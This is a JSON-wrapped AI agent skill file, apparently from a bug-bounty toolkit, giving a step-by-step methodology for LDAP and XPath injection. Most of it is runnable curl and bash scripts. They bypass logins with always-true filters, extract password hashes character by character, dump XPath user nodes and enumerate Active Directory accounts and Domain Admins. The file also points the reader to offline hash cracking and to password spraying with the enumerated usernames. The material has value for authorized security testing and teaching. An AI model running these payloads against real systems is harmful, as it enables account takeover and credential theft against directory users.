{"id":"hunt-ldap","name":"hunt-ldap","summary":"Hunt LDAPインジェクションおよびXPathインジェクション — 認証バイパス、ブラインドチャル・バイ・チャー属性エクスフィルトレーション、ADユーザー/グループ列挙、XMLストアXPathバイパス。","body":"# HUNT-LDAP — LDAP Injection & XPath Injection\n\n> Grounding note: LDAP injection is rarely disclosed with verbatim payloads on\n> public platforms (most live on internal-pentest reports). This skill is\n> grounded in the **OWASP LDAP Injection Prevention / Testing Guide\n> (WSTG-INPV-06)**, **PortSwigger Web Security Academy (LDAP injection)**, and\n> the **RFC 4515** filter grammar — all publicly verifiable references rather\n> than invented HackerOne IDs. Do not cite a report you cannot link.\n\n## Crown Jewel Targets\n\nLDAP injection that bypasses authentication = **Critical**. Blind attribute\nexfiltration of credentials/secrets = **High**. AD enumeration alone = Medium-High.\n\n**Highest-value chains:**\n- **LDAP auth bypass** — close the `uid` filter and append an always-true OR so the\n  bind/search returns the admin entry without a valid password.\n- **Blind attribute exfil** — char-by-char extraction of an attribute value via a\n  boolean oracle (login success/failure, result count, or response length).\n- **userPassword hash exfil (non-AD only)** — on OpenLDAP/389-DS the\n  `userPassword` attribute can hold `{SSHA}`/`{CRYPT}` hashes that ARE readable\n  by query. See the AD-vs-generic warning below.\n- **XPath injection auth bypass** — `' or '1'='1` against XML-backed auth.\n\n---\n\n## CRITICAL — Active Directory vs generic LDAP\n\nDo **not** conflate the two. They behave very differently:\n\n| | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |\n|---|---|---|\n| Password attribute | `userPassword` — may hold `{SSHA}`/`{MD5}`/`{CRYPT}` and **is readable** if ACL allows | `unicodePwd` — **write-only**, never returned by any search |\n| Hash exfil via injection | **Possible** where ACLs leak `userPassword` | **Not possible** — there is no readable hash attribute over LDAP |\n| Useful enum attrs | `uid`, `cn`, `mail`, `userPassword` | `sAMAccountName`, `userPrincipalName`, `mail`, `memberOf`, `description` (often holds plaintext secrets!) |\n\n**Do not tell a reader that blind LDAP injection yields AD password hashes — it\ndoes not.** `unicodePwd` is write-only. Against AD, the win is enumeration\n(`sAMAccountName`, `memberOf`, `description`/`info` fields that admins misuse to\nstore passwords) and auth bypass — not hash dumping. The hash-exfil technique\napplies **only** to non-AD directories exposing `userPassword`.\n\n---\n\n## Attack Surface Signals\n\n```\nCorporate SSO / intranet login pages (often legacy Java/Spring/PHP)\nWindows + IIS + \"integrated\" directory auth\n/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=\n\"Find a colleague\" / org-chart / employee-search features\nXML-backed config or auth → XPath injection candidate\nError strings that confirm an LDAP backend:\n  javax.naming.NameNotFoundException\n  javax.naming.directory.InvalidSearchFilterException\n  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)\n  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():\n  \"Bad search filter\"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN\n```\n\n---\n\n## LDAP filter grammar (RFC 4515) — why injection works\n\nA login filter is typically built by string-concat:\n\n```\n(&(uid=<USERNAME>)(userPassword=<PASSWORD>))\n```\n\n`&` = AND, `|` = OR, `!` = NOT. **Filters are prefix/Polish notation** — the\noperator comes first and every sub-filter is parenthesised. To inject you must\n(a) escape the current `(uid=...)` group, (b) inject your own logic, and\n(c) leave the overall parenthesis count **balanced** or the server throws a\nfilter-syntax error instead of executing.\n\n### The special-character set — TEST EACH ONE\n\nThese characters are syntactically meaningful and MUST be escaped by a safe app\n(RFC 4515 §3). If the app reflects an error or behaves differently when you send\nthem raw, the input is unescaped → injectable:\n\n| Char | Filter escape | Why it matters |\n|------|---------------|----------------|\n| `*`  | `\\2a` | wildcard — matches any value |\n| `(`  | `\\28` | opens a filter group |\n| `)`  | `\\29` | closes a filter group |\n| `\\`  | `\\5c` | escape char itself |\n| NUL  | `\\00` | string terminator — truncates filter in C-backed servers |\n| `/`  | (DN context) | RDN separator — relevant for DN injection |\n\n**Search-filter context vs DN injection** are different bugs:\n- **Search-filter injection** (most common): your input lands inside a\n  `(attr=VALUE)` filter. Payloads use `* ( ) & | !`.\n- **DN injection**: your input is concatenated into a Distinguished Name\n  (`uid=VALUE,ou=people,dc=corp`). Here `,` `=` `+` `\"` `\\` `<` `>` `;` and `/`\n  matter, and a `*` is NOT a wildcard. Test both — the payloads do not transfer.\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Confirm an LDAP backend (baseline first)\n\n```bash\n# ALWAYS capture a control response first — you compare everything to this.\nBASE=$(curl -s -o /dev/null -w \"%{http_code}|%{size_download}|%{time_total}\" \\\n  -X POST https://$TARGET/api/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"validlookinguser\",\"password\":\"wrongpass\"}')\necho \"BASELINE (valid-format, wrong pw): $BASE\"\n\n# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.\n# An INJECTABLE app → 500 / filter-syntax error / different size.\ncurl -s -X POST https://$TARGET/api/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"test)\",\"password\":\"x\"}' | grep -iE \\\n  \"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search\"\n```\n\nA lone `)` that produces a syntax error/500 while a balanced payload does not is\nthe cleanest LDAP-injection tell — note it, you will need it as proof.\n\n### Phase 2 — Auth-bypass payloads (balance your parentheses)\n\n```bash\n# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))\n# Goal: make the uid sub-filter always-true and neutralise the password clause.\n\n# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):\n#   username = *)(uid=*))(|(uid=*    password = anything\n# Always-true admin (OR uid=*):\n#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)\n# NUL-truncate the password clause (C-backed servers):\n#   username = admin)(uid=*))%00      password = x\n\nUSERNAME_PAYLOADS=(\n  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below\n  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic\n  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true\n  'admin*'                 # simple wildcard suffix — try first, lowest noise\n)\n\nfor P in \"${USERNAME_PAYLOADS[@]}\"; do\n  R=$(curl -s -w \"|%{http_code}|%{size_download}\" -X POST https://$TARGET/api/login \\\n    -H \"Content-Type: application/json\" \\\n    -d \"{\\\"username\\\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' \"$P\"),\\\"password\\\":\\\"anything\\\"}\")\n  echo \"PAYLOAD: $P\"\n  echo \"RESP:    ${R: -40}\"\n  echo \"BASE:    $BASE   <-- compare http_code+size to rule out false positive\"\n  echo \"---\"\ndone\n```\n\n**Parenthesis-balancing rule of thumb:** count `(` minus `)` in the *resulting*\nfull filter, not just your payload. If the app appends `)(userPassword=...))`\nafter your input, leave the right number of trailing `)` so the final string is\nbalanced. An unbalanced filter = syntax error = NOT a bypass (false positive).\n\n### Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)\n\nRaw `size_download` diffing is noise-prone (WAF banners, CSRF tokens, timestamps,\nlength-jitter on the injected char itself). Use a **paired true/false control**\nso the oracle is the *response*, not the absolute size.\n\n```bash\n# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.\n# TRUE : admin)(uid=*))(|(uid=*     -> entry exists\n# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ\nprobe () {  # $1 = filter-tail payload -> prints normalized size\n  curl -s -o /dev/null -w \"%{size_download}\" -X POST https://$TARGET/api/login \\\n    -H \"Content-Type: application/json\" \\\n    -d \"{\\\"username\\\":\\\"$1\\\",\\\"password\\\":\\\"x\\\"}\"\n}\nT=$(probe 'admin)(uid=*))(|(uid=*')\nF=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')\necho \"TRUE-class size=$T  FALSE-class size=$F\"\n[ \"$T\" = \"$F\" ] && { echo \"No length oracle — try a STATUS or BODY-MARKER oracle, or OOB.\"; exit; }\n\n# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.\n# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.\nPREFIX=\"\"\nfor pos in $(seq 1 32); do\n  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do\n    S=$(probe \"admin)(userPassword=${PREFIX}${C}*))(|(uid=*\")\n    if [ \"$S\" = \"$T\" ]; then PREFIX=\"${PREFIX}${C}\"; echo \"[$pos] -> $PREFIX\"; break; fi\n  done\ndone\necho \"RECOVERED: $PREFIX\"\n```\n\nFalse-positive guards for blind exfil:\n- **Repeat each positive char 3x** and confirm the size is stable — length-jitter\n  from the attacker-controlled char itself is the #1 false positive.\n- Confirm the **FALSE control still returns the FALSE size** after each round (the\n  app didn't just start erroring on every request — WAF block looks like a match).\n- If body length is unreliable, switch the oracle to **HTTP status**, a **body\n  marker string** (`\"Invalid credentials\"` present/absent), or **timing** with a\n  heavy filter — but only after establishing a stable baseline delta.\n\n### Phase 4 — XPath injection (XML-backed auth)\n\n```bash\n# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']\n# Bypass closes the name predicate and OR-trues the whole expression.\nXPATH_PAYLOADS=(\n  \"' or '1'='1\"\n  \"' or ''='\"\n  \"admin' or '1'='1' or 'a'='b\"     # keeps quoting balanced\n  \"x'] | //user/* | //user[name()='x\"  # blind: dump all user nodes (XPath has no comments)\n  \"*[contains(name(),'pass')]\"          # node-name discovery\n)\nfor P in \"${XPATH_PAYLOADS[@]}\"; do\n  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' \"$P\")\n  R=$(curl -s -w \"|%{http_code}|%{size_download}\" -X POST https://$TARGET/api/login \\\n    --data-urlencode \"username=$P\" --data-urlencode \"password=x\")\n  echo \"$P  ->  ${R: -24}\"\ndone\n# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.\n```\n\n### Phase 5 — AD enumeration via wildcard (count oracle, with control)\n\n```bash\n# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.\n# A directory that returns the SAME count for both is NOT leaking via wildcard.\ncount () { curl -s -X POST https://$TARGET/api/directory/search \\\n  -H \"Content-Type: application/json\" -d \"{\\\"filter\\\":\\\"(sAMAccountName=$1*)\\\"}\" \\\n  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get(\"results\",d.get(\"users\",[]))))' 2>/dev/null; }\nCTRL=$(count \"zzqx_unlikely\")\necho \"control count (should be ~0): $CTRL\"\nfor L in {a..z}; do echo \"$L* -> $(count $L)  (vs control $CTRL)\"; done\n# Then pivot to memberOf / description for privileged accounts:\n#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))\n#   (description=*pw*)   (description=*pass*)   — admins stash secrets here\n```\n\n### Phase 6 — Tooling & OOB confirmation\n\n```bash\n# Validate the inferred filter directly if you ever get LDAP creds / a bind:\nldapsearch -x -H ldap://$AD_HOST -D \"CORP\\\\user\" -w \"$PW\" \\\n  -b \"dc=corp,dc=local\" \"(&(objectClass=user)(sAMAccountName=admin*))\" sAMAccountName memberOf\n\n# Burp: Intruder over the char set for blind exfil; the Web Security Academy\n# \"Blind LDAP injection\" labs mirror the Phase-3 oracle exactly.\n# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can\n# inject a referral/URL the server dereferences, point it at Collaborator:\n#   (uid=*))(referral=ldap://<COLLAB>/x)   — a DNS/LDAP hit at Collaborator\n# is server-side proof with zero ambiguity. Treat any Collaborator interaction\n# as the gold-standard confirmation for otherwise-blind cases.\n```\n\n---\n\n## Chain Table\n\n| LDAP finding | Chain to | Impact |\n|--------------|----------|--------|\n| Auth-bypass (always-true filter) | Admin/SSO panel as first directory entry | Critical |\n| AD enumeration (`sAMAccountName`) | Username list → password spray / credential stuffing | Mass-ATO risk |\n| `memberOf` enumeration | Identify Domain Admins → targeted phishing/spray | Targeted compromise |\n| `description`/`info` field read | Plaintext creds admins stashed there | Direct credential leak |\n| Blind exfil of `userPassword` **(non-AD only)** | `{SSHA}` (salted SHA-1) → hashcat `-m 111` (`{SSHA256}`=1411, `{SSHA512}`=1711); `{CRYPT}` → mode depends on the `$id$` prefix (`$1$`=500, `$6$`=1800) → offline crack | High |\n| LDAP referral → Collaborator | Server-side request / internal directory reach | SSRF-class, confirms blind |\n\n> AD has no readable password attribute — do not list \"extract AD hashes\" as a\n> chain. Against AD, the credential win comes from `description`/`info` misuse or\n> from enumerated usernames feeding a spray, never from `unicodePwd`.\n\n---\n\n## Validation — rule out the false positive BEFORE you report\n\nA \"bypass\" or \"match\" is only real once you have eliminated syntax-error,\nWAF-block, and length-jitter explanations.\n\n- [ ] **Auth bypass:** the always-true payload returns a **valid authenticated\n      session** (session cookie + access to a post-login resource), and the same\n      request with one paren removed returns a **filter-syntax error** — proving\n      the filter parsed and executed, not that the app fell open on every input.\n- [ ] **Negative control:** an equivalently-shaped but logically-FALSE payload\n      (`)(uid=NONEXISTENT_ZZZ)`) returns the **failure** response. If both\n      true-class and false-class \"succeed\", you found a broken endpoint, not LDAP\n      injection.\n- [ ] **Blind exfil:** each recovered char reproduces 3x with stable size; the\n      FALSE control still reads FALSE between rounds; recovered value verified by\n      a direct lookup or by the auth-bypass payload that uses it.\n- [ ] **XPath:** quotes/brackets remained balanced (no 500), and the bypass logged\n      in to a real account context — not just a different error page.\n- [ ] **OOB where possible:** a Collaborator DNS/LDAP interaction from a referral\n      payload is decisive for blind cases — prefer it over length-only inference.\n- [ ] **AD claim discipline:** if you say \"AD\", you enumerated AD-specific attrs\n      (`sAMAccountName`/`memberOf`); never claim AD hash exfil.\n\n**Severity:**\n- Auth bypass landing as admin/privileged directory entry: **Critical**\n- `userPassword` hash exfil (non-AD) or `description`-field credential read: **High**\n- AD user/group enumeration only: **Medium-High**\n- Blind boolean oracle confirmed but no useful attribute reachable: **Medium**","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-ldap","license":"MIT","category":"document","lang":"en","tokens":3926,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}